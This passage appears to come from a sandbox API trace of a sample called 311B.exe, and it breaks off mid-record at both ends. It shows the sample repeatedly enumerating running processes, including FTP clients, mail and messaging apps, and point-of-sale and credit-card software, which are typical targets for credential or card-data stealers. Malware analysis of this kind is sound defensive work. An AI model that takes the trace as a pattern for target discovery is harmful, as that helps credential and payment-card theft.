hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0231.891] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0231.893] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0231.943] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0231.946] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0231.948] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0231.950] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0231.952] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0231.954] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0231.957] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0231.959] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0231.961] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0231.963] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0231.965] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0231.967] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0231.969] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0231.971] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0231.973] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0231.975] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0231.976] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0231.978] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0231.980] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0231.982] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0232.038] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0232.040] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0232.042] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0232.044] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0232.046] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0232.048] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0232.052] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0232.053] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0232.055] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0232.057] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0232.059] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0232.061] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0232.063] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0232.064] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0232.066] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0232.069] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0232.071] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0232.072] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0232.074] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0232.076] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0232.078] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0232.079] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0232.157] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0232.159] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0232.161] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0232.163] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0232.164] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0232.166] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0232.168] CloseHandle (hObject=0x15a4) returned 1 [0232.168] Sleep (dwMilliseconds=0x64) [0232.257] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15a4 [0232.270] Process32First (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.272] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0232.273] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0232.275] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.276] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0232.278] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.279] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0232.281] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0232.367] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0232.369] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.371] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.373] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0232.374] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.377] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.379] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.380] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.382] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.383] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.385] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.386] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0232.388] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0232.389] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0232.391] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.393] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0232.397] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0232.399] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0232.401] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0232.402] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.404] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0232.406] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0232.407] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0232.459] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0232.461] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, 